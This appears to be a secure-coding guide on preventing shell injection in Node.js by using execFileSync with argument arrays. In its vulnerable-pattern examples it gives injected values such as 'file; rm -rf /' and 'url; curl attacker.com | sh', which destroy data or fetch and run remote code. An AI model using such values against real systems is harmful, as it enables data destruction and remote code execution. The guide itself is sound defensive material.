shell-injection-prevention

name	shell-injection-prevention
description	Use execFileSync with args array instead of execSync with string concatenation to prevent shell injection
lastReviewed	2026-04-30T00:00:00.000Z

Shell Injection Prevention

Category: Security Time Saved: 1+ hour debugging, prevents incidents Battle-tested: Yes — multiple projects

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The Problem

Your Node.js script needs to run external commands (git, npm, az cli). You use execSync("git status") and it works. Then someone passes a filename with a semicolon and your server runs arbitrary commands.

Why It Happens

execSync(command) passes the string to a shell (/bin/sh or cmd.exe), which interprets metacharacters like ;, |, $(), and backticks as command separators or substitutions.

The Rule

Use execFileSync(executable, argsArray) instead of execSync(string)

// ❌ DANGEROUS — shell interprets metacharacters
const output = execSync(`git log --oneline ${filename}`);

// ✅ SAFE — no shell, args passed directly to executable
const output = execFileSync('git', ['log', '--oneline', filename]);

When Each Is Appropriate

Use Case	Method	Why
Known executable + args	execFileSync	No shell, no injection
Need shell features (pipes, globs)	execSync with allowlist	Validate all inputs
User-provided command	Never	Don't execute user commands

Implementation Patterns

Basic Safe Pattern

const { execFileSync } = require('child_process');

function gitStatus(repoPath) {
  return execFileSync('git', ['status', '--porcelain'], {
    cwd: repoPath,
    encoding: 'utf8',
  });
}

When You Need Shell Features

// If you MUST use shell features, validate inputs strictly
const ALLOWED_BRANCHES = ['main', 'develop', 'staging'];

function gitCheckout(branch) {
  if (!ALLOWED_BRANCHES.includes(branch)) {
    throw new Error(`Invalid branch: ${branch}`);
  }
  // Safe because branch is from allowlist
  return execSync(`git checkout ${branch}`, { encoding: 'utf8' });
}

Async Equivalent

const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

async function runGit(args) {
  const { stdout } = await execFileAsync('git', args);
  return stdout;
}

Dangerous Metacharacters

Shell	Dangerous Characters
Bash	`;
cmd.exe	`&
PowerShell	`;

Common Vulnerable Patterns

// ❌ Filename injection
execSync(`cat ${userProvidedFilename}`);  // file; rm -rf /

// ❌ Argument injection  
execSync(`git clone ${userUrl}`);  // url; curl attacker.com | sh

// ❌ Template literal concatenation
execSync(`npm install ${packageName}`);  // pkg; malicious-command

Verification Checklist

• All execSync calls reviewed for user input
• User-controlled values use execFileSync
• Shell features avoided or inputs allowlisted
• No string concatenation with user data in commands
• Test with ; echo pwned payload

Bonus: Slightly Faster

execFileSync is marginally faster because it doesn't spawn a shell process. For scripts running many commands, this adds up.

Related Skills

• allowlist-over-blocklist — Input validation
• path-traversal-prevention — File path safety